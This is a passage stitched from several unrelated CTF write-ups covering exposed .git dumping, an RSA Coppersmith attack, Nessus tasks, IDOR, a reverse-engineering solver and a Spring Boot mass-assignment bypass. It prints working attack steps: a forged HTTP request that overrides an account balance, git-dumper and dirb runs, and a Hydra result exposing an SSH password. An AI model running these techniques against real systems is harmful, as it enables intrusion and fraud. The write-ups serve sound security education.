```https://constellations.page/.git/```
Using a script called `gitdumper.sh` from [GitTools](https://github.com/internetwache/GitTools) i could extract it. Using `git show` and checking the changes i found the flag:
```flag{4063962f3a52f923ddb4411c139dd24c}``` |
# A Bit Weird
**Category**: Crypto \**Points**: 986 (39 solves) \**Author**: oops
## Challenge
I found this weird RSA looking thing somewhere. Can you break it for me? Imanaged to find x for you, but I don't know how to solve it without d...
Attachments: `msg.txt`, `main.py`
## Overview
We're given a pretty simplistic challenge:
```pythonfrom Crypto.Util import numberfrom secret import flagimport os
length = 2048p, q = number.getPrime(length // 2), number.getPrime(length // 2)N = p * qe = 3
m = number.bytes_to_long(flag)x = number.bytes_to_long(os.urandom(length // 8))
c = pow(m | x, e, N)print("N =", N)print("e =", e)print("c =", c)print("m&x =", m & x)```
And we have a bunch of values, including `x`:```N = 13876129555781460073002089038351520612247655754841714940325194761154811715694900213267064079029042442997358889794972854389557630367771777876508793474170741947269348292776484727853353467216624504502363412563718921205109890927597601496686803975210884730367005708579251258930365320553408690272909557812147058458101934416094961654819292033675534518433169541534918719715858981571188058387655828559632455020249603990658414972550914448303438265789951615868454921813881331283621117678174520240951067354671343645161030847894042795249824975975123293970250188757622530156083354425897120362794296499989540418235408089516991225649e = 3c = 6581985633799906892057438125576915919729685289065773835188688336898671475090397283236146369846971577536055404744552000913009436345090659234890289251210725630126240983696894267667325908895755610921151796076651419491871249815427670907081328324660532079703528042745484899868019846050803531065674821086527587813490634542863407667629281865859168224431930971680966013847327545587494254199639534463557869211251870726331441006052480498353072578366929904335644501242811360758566122007864009155945266316460389696089058959764212987491632905588143831831973272715981653196928234595155023233235134284082645872266135170511490429493m&x = 947571396785487533546146461810836349016633316292485079213681708490477178328756478620234135446017364353903883460574081324427546739724
x = 15581107453382746363421172426030468550126181195076252322042322859748260918197659408344673747013982937921433767135271108413165955808652424700637809308565928462367274272294975755415573706749109706624868830430686443947948537923430882747239965780990192617072654390726447304728671150888061906213977961981340995242772304458476566590730032592047868074968609272272687908019911741096824092090512588043445300077973100189180460193467125092550001098696240395535375456357081981657552860000358049631730893603020057137233513015505547751597823505590900290756694837641762534009330797696018713622218806608741753325137365900124739257740```
However, even with `x` and `m & x`, we can't directly recover`m`. Looks like we'll have to decrypt `c` to get `m | x`.
## Solution
What do we know about `m | x`?1. `m` is 440 bits, based on the length of `m & x`2. `x` is 16384 bits, which is much longer than `m`3. This means the upper 15944 bits of `m | x` will match `x`
Finally:```Let a = m | x (lower 440 bits)- We want to find this value
Let b = x (upper 15944 bits, lower 440 bits being zeros)- We know this value
Then (m | x) == a + bThen c === (a + b)**e (mod N)```
This sounds like a case of stereotyped messages. We can recover `b` usingCoppersmith.
I used [this implementation](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/README.md#stereotyped-messages)—specifically, `coppersmith.sage`
```sageimport Crypto.Util.number as cun
# Coppersmith implementation omitted# ...
def lower_bytes(x, nbytes): return cun.bytes_to_long(cun.long_to_bytes(x)[-nbytes:])
# Public keyN = 13876129555781460073002089038351520612247655754841714940325194761154811715694900213267064079029042442997358889794972854389557630367771777876508793474170741947269348292776484727853353467216624504502363412563718921205109890927597601496686803975210884730367005708579251258930365320553408690272909557812147058458101934416094961654819292033675534518433169541534918719715858981571188058387655828559632455020249603990658414972550914448303438265789951615868454921813881331283621117678174520240951067354671343645161030847894042795249824975975123293970250188757622530156083354425897120362794296499989540418235408089516991225649length_N = 2048ZmodN = Zmod(N);e = 3
# Obscuring term (was called `x` previously)obs = 15581107453382746363421172426030468550126181195076252322042322859748260918197659408344673747013982937921433767135271108413165955808652424700637809308565928462367274272294975755415573706749109706624868830430686443947948537923430882747239965780990192617072654390726447304728671150888061906213977961981340995242772304458476566590730032592047868074968609272272687908019911741096824092090512588043445300077973100189180460193467125092550001098696240395535375456357081981657552860000358049631730893603020057137233513015505547751597823505590900290756694837641762534009330797696018713622218806608741753325137365900124739257740length_obs = 440
# CiphertextC = 6581985633799906892057438125576915919729685289065773835188688336898671475090397283236146369846971577536055404744552000913009436345090659234890289251210725630126240983696894267667325908895755610921151796076651419491871249815427670907081328324660532079703528042745484899868019846050803531065674821086527587813490634542863407667629281865859168224431930971680966013847327545587494254199639534463557869211251870726331441006052480498353072578366929904335644501242811360758566122007864009155945266316460389696089058959764212987491632905588143831831973272715981653196928234595155023233235134284082645872266135170511490429493
# Obsuring term with lower 440 bits zero'd (was called 'b' previously)obs_clean = (obs >> length_obs) << length_obs
# Problem to equation.# The `x` here was called `a` previously, which we are now solving for.P.<x> = PolynomialRing(ZmodN)pol = (obs_clean + x)^e - Cdd = pol.degree()
beta = 1 # b = Nepsilon = beta / 7 # <= beta / 7mm = ceil(beta**2 / (dd * epsilon)) # optimized valuett = floor(dd * mm * ((1/beta) - 1)) # optimized valueXX = ceil(N**((beta**2/dd) - epsilon)) # optimized value
# Coppersmithroots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
print()print("Solutions")print("We found:", str(roots))```
Output:```$ sage coppersmith.sage
# Optimized t?
we want X^(n-1) < N^(beta*m) so that each vector is helpful* X^(n-1) = 7.64639144486953e938* N^(beta*m) = 2671806721397343609369125721689846363846823887595317169259208269410807613515138193272735950395342600354585884618596837138454312445763723886601166952043062748009505139217794681937611360645445444140769994643446818754534866298130651329433014724715889837444867182984191620190905818803588933562722223328979700923934070485221893022649172511067198019458620445165662776678908770872500383557396520873649954695933963393304148547194098533517769688355801169062583949901346704912994207653877424119826970416572728246446525108981742453007188018279798743202379750534406784078069421672055702384012232185139872186089443647992149818358893834997950425662042050549158210414590239894415499371752895019920281114015215479652534190130397775610338712743962931327219145055957487978233015931879293485628652795746982880303598514651118264609343317354096189644231871614967872526120966984276731281546669197245726209804436508113354381914315232435894150854988195962920941429615473853382836785869279384612192426076678623082066854288934520774307146911493350318344271370346300740624871491708331236066262479670355346647414096649266862487754904950869424292066310431256633985253697575515680033391453124985988988670191902111914051233299493877035782843638962398086115700226338455677786300225885984533601124871244669214214105103887099092767042659106858007541232363169127153863660502490389037875332835859504268824420222360070871822883878805542227544448876610761790896706106782074035914998714448926799887557941643969590869586865208655191892111098282289241597413702345534627562696456765064323919706870792491286590311106687866963980133668858578681546024445557042142046310271577884977392878357234252136015344414426228232128893808200127782962118800708442012306882529157602730015548081294901794784475069861171020927127171831672885720955503939986515276832850113174993877171846111637519924505032034449* X^(n-1) < N^(beta*m)-> GOOD
# X bound respected?
we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M* X = 2293147898964117288808008000805061598361990209625542167130389100774470198047923394475218668318195962237962277248056358* M = 5.42671596118645e153* X <= M-> GOOD
# Solutions possible?
(e can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n))* 2^((n - 1)/4) * det(L)^(1/n) = 2.12973195403260e1702* N^(beta*m) / sqrt(n) = 8.90602240465781e1847* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)-> SOLUTION WILL BE FOUND
# Note that no solutions will be found _for sure_ if you don't respect:* |root| < X* b >= modulus^beta
00 X 0 0 0 0 0 0 0 0 ~01 0 X 0 0 0 0 0 0 0 ~02 0 0 X 0 0 0 0 0 0 ~03 X X X X 0 0 0 0 004 0 X X X X 0 0 0 005 0 0 X X X X 0 0 006 X X X X X X X 0 007 0 X X X X X X X 008 0 0 X X X X X X Xpotential roots: [(2722393138562666557007231734043804673010965247853655886232567981247025605356740318867235245940388712958024648376448739432029199788029, 1)]
SolutionsWe found: [2722393138562666557007231734043804673010965247853655886232567981247025605356740318867235245940388712958024648376448739432029199788029]```
Now that we have `m | x`, we can recover `m`:```pythondef recover(x, m_and_x, m_or_x): ans = []
while m_and_x > 0: a = x & 1 b = m_and_x & 1 c = m_or_x & 1
if a == 0: assert b == 0 ans.append(str(c)) else: ans.append(str(b))
m_or_x >>= 1 m_and_x >>= 1 x >>= 1
ans = ans[::-1] ans = "".join(ans) return ans```
Output:```$ python3 solve.pyb'utflag{C0u1dNt_c0m3_uP_w1tH_A_Cl3veR_f1aG_b61a2defc55f}'``` |
# Tenable CTF 2021 WriteupThis repository serves as a writeup for Tenable CTF 2021
## The ultimate mutant marvel taem-up
**Category:** Tenable**Points:** 25**Description:**
File: [Linux_Scan.db](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan.db)
### Write-upIn this task, we need to install Nessus scanner and use it to read the encrypted database, so I've installed its community version (free with a trial version).
In the main page, there was an "Import" button that I've used to upload the Nessus Database "Linux_Scan.db" with the required password.
And that's how we got the scan results called "Linux Scan". When we access this scan:
I tried to search for the flag in the Filter input but I wasn't be able to find it.
But I found something that could be interesting which is the Export button:
We know that the file that we've imported was a Nessus DB but what about the Nessus export?
After I exported the file and I downloaded it I got a text file [Linux_Scan_uuo914.nessus](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan_uuo914.nessus) which contains the flag.
The flag contains an encoded HTML character which is the "'".
So the flag is ``flag{1t's eXt3n51bl3}``.
_____
## Knowledge is knowing a tomato is a fruit
**Category:** Tenable**Points:** 25**Description:**
File: [Linux_Scan.db](resources/tenable-25-the_ultimate_mutant_marvel_team_up/Linux_Scan.db)
### Write-upThis is the continuity of the previous task.
In this task, I tried to download the scan results for the host `172.26.48.53` using the "Download" link:
I searched for the flag in the downloaded .txt [kb_172.26.48.53.txt](resources/tenable-25-knowledge_is_knowing_a_tomato_is_a_fruit/kb_172.26.48.53.txt) file and I found it:
So, the flag is ``flag{bu7 n07 putt1ng 1t 1n 4 fru17 s@l4d, th@t5 W1SD0M}``.___
# Scoreboard
In this CTF, we played as a team ``S3c5murf`` with [Likkrid](https://twitter.com/RidhaBejaoui1) and [v3rlust](https://twitter.com/dal0ul) and we got ranked 100th/1762:
......
The tasks that I've solved
All the tasks that we've solved and we didn't solved as a team:
CTFTime event: [https://ctftime.org/event/1266](https://ctftime.org/event/1266) |
# Constellations
Challenges unlocked by submitting flag.
Overview
- [Constellations](#constellations) - [The Mission](#the-mission) - [Bionic](#bionic) - [Gus](#gus) - [Hercules](#hercules) - [Meet The Team](#meet-the-team) - [Lyra](#lyra) - [Hydraulic](#hydraulic)
## [The Mission](https://ctf.nahamcon.com/mission)
Flag on html source>Ctrl+u>>Ctrl+f "flag{"
``flag{48e117a1464c3202714dc9a350533a59}``
### Bionic
<https://constellations.page/>
Source index has the following link to twitter witch have posted a flag
```HTMLhttps://twitter.com/C0NST3LLAT10NSflag{e483bffafbb0db5eabc121846b455bc7}```
link <https://github.com/constellations-git>
### Gus
GitHub user gusrody is listed as member on constellations repo
<https://github.com/gusrodry/development/blob/master/config/.ssh/flag.txt> - `` flag{84d5cc7e162895fa0a5834f1efdd0b32} ``
.ssh folder has keys
Is followed by HerculesScox
### Hercules
<https://github.com/HerculesScox/maintenance/blob/main/connect.sh> - `` flag{5bf9da15002d7ea53cb487f31781ce47} ``
Has hard corded credentials
robots.txt
```txtDisallow: /meet-the-team.html```
``flag{33b5240485dda77430d3de22996297a1}``
Enumerating root
Tool: dirbuster
Finding: .git/HEAD
.git/config
```txt[user] name = Leo Rison email = [email protected]```
How to leverage the exposed git?
[Google-fu](https://medium.com/swlh/hacking-git-directories-e0e60fa79a36)
[Google-fu](https://github.com/internetwache/GitTools)
### Meet The Team
Restored meet-the-team.html has the flag and lists PII.
`` flag{4063962f3a52f923ddb4411c139dd24c} ``
### Lyra
<https://twitter.com/LyraPatte>
> IDOR>><https://constellations.page/constellations-documents/1/>>><https://constellations.page/constellations-documents/2/>
<https://constellations.page/constellations-documents/5/>
Has the flag and list of users, passwords.
`` flag{bd869e6193c27308d2fd3ad4b427e8c3} ``
### Hydraulic
Tool: Hydra
[users](users)
[passwords](passwords)
```Bash[31975][ssh] host: challenge.nahamcon.com login: pavo password: starsinthesky``` |
## Ancient
The program doesn't use CODE optimizations, so it's just mostly the same as the source, but with some unexpected junk codes. Remove those instructions, then we can disassemble it normally.
| Address | Length | Original bytes | Patched bytes || ---- | ---- | ---- | ---- || 0000000000401844 | 0x9 | 0x9 74 07 0F 80 87 48 83 C4 08 | 90 90 90 90 90 90 90 90 90 || 000000000040184F | 0x8 | 0x8 E8 02 00 00 00 0F 85 59 | 90 90 90 90 90 90 90 90 || 000000000040185B | 0x7 | 74 05 0F 48 83 C4 08 | 90 90 90 90 90 90 90 || 000000000040188F | 0x7 | 74 05 80 48 83 C4 08 | 90 90 90 90 90 90 90 |
At first, locating `0x401ed4` by the string `Wrong. You fail to get it.`
```ex@ubuntu-hp:~/d3ctf/ancient$ ./ancient This is an ancient string, it represents the origin of all binary characters, isn't it. Let me see, it says 0,1,2,3,4,5,6,7...Please input the flag:aWrong. You fail to get it.```
It's marked at `A` in disassembling the source below. Then according to the control flow of this application, we can locate `0x401c93`, or a say on, `B`.
```c++__int64 __fastcall main(int a1, char **a2, char **a3){ ...
v14 = malloc(0x170uLL); sub_402110((__int64)&unk_407498, 16); sub_402B60((__int64)&unk_407498); v15 = 0; sub_403500((__int64)v14, (__int64)&xmmword_407370, (_BYTE *)184, (__int64)&unk_407498, 126, 0); int_value = 0; v16 = *(_BYTE *)qword_407328; if ( *(_BYTE *)qword_407328 ) { v17 = 0LL; v18 = 0;C: do // count { if ( !v18 ) v18 = 1; if ( v16 != v14[v17] ) break; v15 += v18; if ( v15 > 178 ) break; v17 = v15; v16 = *(_BYTE *)(qword_407328 + v15); } while ( v16 ); int_value = v15; } sub_401820(&int_value);B: if ( int_value < 178 ) { // wrong if ( !(_BYTE)byte_407738 && __cxa_guard_acquire(&byte_407738) ) { qword_407730 = 0x2E24004940415C79LL; __cxa_atexit(sub_402070, &qword_407730, &unk_4070A8); __cxa_guard_release(&byte_407738); } v19 = (const char *)&qword_407730; if ( HIBYTE(qword_407730) ) { LOBYTE(qword_407730) = qword_407730 ^ 0x2E; BYTE1(qword_407730) ^= 0x2Eu; BYTE2(qword_407730) ^= 0x2Eu; BYTE3(qword_407730) ^= 0x2Eu; BYTE4(qword_407730) ^= 0x2Eu; BYTE5(qword_407730) ^= 0x2Eu; BYTE6(qword_407730) ^= 0x2Eu; HIBYTE(qword_407730) ^= 0x2Eu; } } else { if ( !(_BYTE)byte_407728 && __cxa_guard_acquire(&byte_407728) )// success { *(_QWORD *)qword_407718 = 0xF5D5D4B4D4D5B7DLL; word_407720 = 11812; __cxa_atexit(sub_402060, qword_407718, &unk_4070A8); __cxa_guard_release(&byte_407728); } v19 = qword_407718; if ( HIBYTE(word_407720) ) { qword_407718[0] ^= 0x2Eu; qword_407718[1] ^= 0x2Eu; qword_407718[2] ^= 0x2Eu; qword_407718[3] ^= 0x2Eu; qword_407718[4] ^= 0x2Eu; qword_407718[5] ^= 0x2Eu; qword_407718[6] ^= 0x2Eu; qword_407718[7] ^= 0x2Eu; LOBYTE(word_407720) = word_407720 ^ 0x2E; HIBYTE(word_407720) ^= 0x2Eu; } } v11 = strlen(v19); output = (char *)v19; // success } else {A: if ( !(_BYTE)byte_407710 && __cxa_guard_acquire(&byte_407710) ) { *(_OWORD *)str_ptr = xmmword_405030; qword_407700 = 'p9mv~9vm'; dword_407708 = '\x19\x137m'; __cxa_atexit(sub_402050, str_ptr, &unk_4070A8); __cxa_guard_release(&byte_407710); } sub_4020C0((__m128 *)str_ptr); v11 = strlen(str_ptr); output = str_ptr; } std::__ostream_insert<char,std::char_traits<char>>(std::cout, output, v11); return 0LL;}```
At least, 178 or greater is required by the `int_value`, that we can go to the `success`, according to the disassembling source above.
`int_value` has been counted at `0x401bb3`(position `C`), it can be matched at most 178 times, so we must get the whole binary content which length is 178.
It's fixed result by `sub_402110` and `sub_402110`, I don't know the role in the application clearly about `sub_403500`, and guest it's just multiplication with two big numbers. As the operation is stable that high bits don't affect the low bits, we can crack the flag byte by byte.
Finally, we can get the flag.
```c++#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/mman.h>
unsigned char key[] = { 0x54, 0x67, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x6e, 0x20, 0x61, 0x6e, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x70, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x74, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x20, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x73, 0x2c, 0x20, 0x69, 0x73, 0x6e, 0x27, 0x74, 0x20, 0x69, 0x74, 0x2e, 0x20, 0x4c, 0x65, 0x74, 0x20, 0x6d, 0x65, 0x20, 0x73, 0x65, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x73, 0x61, 0x79, 0x73, 0x20, 0x30, 0x2c, 0x31, 0x2c, 0x32, 0x2c, 0x33, 0x2c, 0x34, 0x2c, 0x35, 0x2c, 0x36, 0x2c, 0x37, 0x2e, 0x2e, 0x2e, 0x67, 0xf3, 0xa3, 0xca, 0x23, 0x58, 0xa3, 0xd1, 0xf8, 0xc1, 0x96, 0xe3, 0xd7, 0x85, 0x85, 0xfe, 0xbe, 0x7b, 0xd2, 0x82, 0x59, 0xf4, 0xd8, 0xf0, 0x5f, 0xf5, 0xe2, 0x55, 0xe5, 0x2c, 0x14, 0xdc, 0xd6, 0xf4, 0x60, 0xf9, 0x89, 0x84, 0x0c, 0x70, 0x50, 0xb8, 0xf5, 0xde, 0x7f, 0xff, 0x5a, 0xc8, 0x8d, 0x61, 0xf0, 0x02};unsigned int key_len = 178;
unsigned char fixed[0x1000];
unsigned char printable[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";#define LEN (sizeof(printable) - 1)
inline static int same(unsigned char *a, unsigned char *b){ int i; for (i = 0; i < key_len; i++) { if (*a == *b) { a++; b++; } else { break; } } return i - 131;}
int main(){ int fd, i, ii, iii, offset, temp; unsigned char output[0x800], input[0x800] = "This is an ancient string, it represents the origin of all binary characters, isn't it." " Let me see, it says 0,1,2,3,4,5,6,7..." "d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}";
fd = open("bin", O_RDONLY); mmap((void *)0x400000, 32768, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, fd, 0); close(fd);
*(size_t *)0x407080 = (size_t)malloc;
mprotect((void *)0x400000, 32768, PROT_EXEC | PROT_READ);
((void (*)(unsigned char *, int))0x402110)(fixed, 16); ((void (*)(unsigned char *))0x402B60)(fixed);
memset(output, 0, sizeof(output)); offset = 178; printf("%c%c\n\n", input[offset - 2], input[offset - 1]);
for (i = 0; i < LEN; i++) { for (ii = 0; ii < LEN; ii++) { for (iii = 0; iii < LEN; iii++) { input[offset] = printable[i]; input[offset + 1] = printable[ii]; input[offset + 2] = printable[iii];
((void (*)(unsigned char *, int))0x402110)(fixed, 16); ((void (*)(unsigned char *))0x402B60)(fixed); ((void (*)(unsigned char *, unsigned char *, int, unsigned char *, int, int))0x403500)(output, input, 184, fixed, 126, 0); temp = same(key, output); if (44 <= temp) { printf("%d: %c%c%c\n", temp, printable[i], printable[ii], printable[iii]); // exit(EXIT_SUCCESS); } } } }
return 0;}```
d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}
© XMCVE
|
You know, that sound that bumblebees make? file: buzz
Using file on buzz shows: compress'd data 16 bits. This shows its a UNIX-compressed file – and probably should have extension .z. Giving it correct extension you can open it with archiver and read buzz file contents inside.
Flag: flag{b3a33db7ba04c4c9052ea06d9ff17869} |
tldr;- since $Q = kP$ and $R = (k+1)P$, then $R - Q = P$- use the addition formula and the elliptic curve equation and $Q_x R_x = N$ to get five equations in the four unknowns $R_x, R_y, Q_x, Q_y$- solve the system of multivariate polynomials (e.g. with resultants) to recover $R_x$ and $Q_x$
[writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#not-mordell-primes) |
I ordered chicken wings at the local restaurant, but uh… this really isn’t what I was expecting… file: chicken_wings
It’s just wingdings encoded – decode with https://www.dcode.fr/wingdings-font
Flag: flag{e0791ce68f718188c0378b1c0a3bdc9e} |
Shop====
Task description----------------
> Our famous shop is back!>> http://shop.q.2019.volgactf.ru/
Solution--------
TL;DR: Mass assignment vulnerability through ModelAttribute in Spring Boot.
This task involves a shop system where you can register accounts, sign in andbuy stuff like t-shirts, cake, and a flag. New users get 100 monetary unitsas a gift afters registration. Unfortunately, the flag costs 1337 monetaryunits, so we can only but t-shirts and cake.
Looking at the `/robots.txt` we see one entry `Disallow: /shop-1.0.0.war`. Wecan download this war file, which contains the shop application. War filesare essentially ZIP files which contain Java bytecode and the correspondingassets required to run the applications. After extracting the war file, you getan directory structure, where the relevant parts are the following:
└── WEB-INF ├── classes │ ├── applicationContext.xml │ ├── application.properties │ ├── data.sql │ ├── persistence.xml │ ├── ru │ │ └── volgactf │ │ └── shop │ │ ├── controllers │ │ │ └── ShopController.class │ │ ├── dao │ │ │ ├── ProductDao.class │ │ │ └── UserDao.class │ │ ├── filters │ │ │ └── AuthFilter.class │ │ ├── models │ │ │ ├── Message.class │ │ │ ├── Product.class │ │ │ └── User.class │ │ └── ShopApplication.class
These class files contain the Java bytecode, which is not readable source code.However, you can still open them in IntelliJ IDEA, which ships with andecompiler that will decompile the files before opening them. What you get isperfectly readable Java source code. The shop application uses the Spring Bootframework. Looking at the `ShopController.class`, we find a method named `buy`,which handles the buying procedure of the shop.
@Controller public class ShopController { // [...] @RequestMapping({"/buy"}) public String buy(@RequestParam Integer productId, @ModelAttribute("user") User user, RedirectAttributes redir, HttpServletRequest request) { HttpSession session = request.getSession(); if (session.getAttribute("user_id") == null) { return "redirect:index"; } else { Product product = this.productDao.geProduct(productId); if (product != null) { if (product.getPrice() <= user.getBalance()) { user.setBalance(user.getBalance() - product.getPrice()); user.getCartItems().add(product); this.userDao.update(user); redir.addFlashAttribute("message", "Successful purchase"); return "redirect:profile"; }
redir.addFlashAttribute("message", "Not enough money"); } else { redir.addFlashAttribute("message", "Product not found"); }
return "redirect:index"; } }
This method is annotated with an ModelAttribute annotation, referring to theuser variable, which is of type User. We can find the User class in`User.class`. The ModelAttribute annotation allows us to set any attribute ofthis user model via HTTP form data, resulting in an mass assignmentvulnerability. The user model has several attributes, including the balanceof the user. All we have to do is to send an HTTP requests which buys theflag and include `balance=1337` as query parameter. However, this did notwork. Turns out, that there is some code preventing us from using `balance` asquery parameter:
@Controller public class ShopController { // [...] @InitBinder public void initBinder(WebDataBinder binder) { binder.setDisallowedFields(new String[]{"balance"}); }
Thankfully, we can bypass the check by using `Balance` instead of `balance`,which will also set the `balance` attribute of the user model. So register anaccount and send the following HTTP request (with your session id) to buy theflag:
POST /buy?Balance=20000 HTTP/1.1 Host: shop.q.2019.volgactf.ru Content-Type: application/x-www-form-urlencoded Content-Length: 11 Connection: close Cookie: JSESSIONID=21E66A003A3E444672C08D0D26D7F719
productId=4
You will find the flag in your profile: VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}. |
# DarkCON CTF 2021 – Meme_Stash
* **Category:** web* **Points:** ?
## Challenge
> White Wolf cloned this website for some memes while browsing some memes he stumbled upon the flag but now he is not able to find it can you help him> > Note: This chall does not require any brute forcing> > http://meme-stash.darkarmy.xyz/
## Solution
A basic enumeration will reveal the presence of a Git repository.
```root@m3ss4p0:~# dirb http://meme-stash.darkarmy.xyz/ /usr/share/dirb/wordlists/common.txt -z 200
http://meme-stash.darkarmy.xyz/.git/HEAD```
So you can use [git-dumper](https://github.com/arthaud/git-dumper) to dump all the repository.
```root@m3ss4p0:~/Tools/git-dumper# ./git-dumper.py http://meme-stash.darkarmy.xyz/.git/ ../../meme-stash[-] Testing http://meme-stash.darkarmy.xyz/.git/HEAD [200][-] Testing http://meme-stash.darkarmy.xyz/.git/ [403][-] Fetching common files[-] Fetching http://meme-stash.darkarmy.xyz/.git/description [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/commit-msg.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.gitignore [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/post-receive.sample [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/pre-applypatch.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/COMMIT_EDITMSG [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/applypatch-msg.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/post-commit.sample [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/post-update.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/pre-commit.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/pre-push.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/index [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/prepare-commit-msg.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/update.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/pre-rebase.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/hooks/pre-receive.sample [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/info/exclude [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/info/packs [404][-] Finding refs/[-] Fetching http://meme-stash.darkarmy.xyz/.git/config [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/remotes/origin/HEAD [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/FETCH_HEAD [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/HEAD [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/HEAD [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/ORIG_HEAD [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/info/refs [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/stash [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/remotes/origin/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/heads/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/packed-refs [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/heads/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/remotes/origin/HEAD [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/heads/main [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/remotes/origin/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/stash [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/remotes/origin/main [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/wip/index/refs/heads/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/refs/wip/wtree/refs/heads/master [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/heads/main [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/logs/refs/remotes/origin/main [404][-] Finding packs[-] Finding objects[-] Fetching objects[-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/8f/e8fb21b73bceac61db2bcc7b72d31a9b564e6d [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/00/00000000000000000000000000000000000000 [404][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/2c/dfab38e64a1a97e02d6bbe3801ca51d508aed2 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/74/7f8b0e2915bb6185848e2a27b6cb2e37be6d83 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/99/504cd1398a7f7ec3a5baaaa05e297c61c2189d [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/83/7cdbe893ac96998e2c5f523b906c519ec5005a [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/33/4ed6aeb833d46f81e5882b4c6f6712e9b071b9 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/2a/e8ba9e461f9c44f86fb9bdbfae9a2f82a1a032 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/5a/7136b7eb012e790511efa69e39326e4c569e22 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/74/3414208ede0f80fd5fd821e0756916378c8aba [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/3d/cdc9d93ab5b05228c3e4950d57a1c24751eb01 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/91/010559a7387a3b24d157a0e32acbd60339db00 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/14/6831302c94e3dfed16c9a90baed8770a82b544 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/a1/8518b0133ce59be487bd61a675a2130238ac98 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/dc/5774b462a1b9706538026cea32d72498ea8797 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/15/f0c294c29663d22ed07841bd0f863c79daf5a0 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/43/0b29a5542aaa222aff94b3c19bc80961aff64b [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/59/d72179a0ca8cc03132d6ce30c8ca4bc9ad3a34 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/e1/287a203c205104af6474d8ba188366653b772c [200][-] Fetching 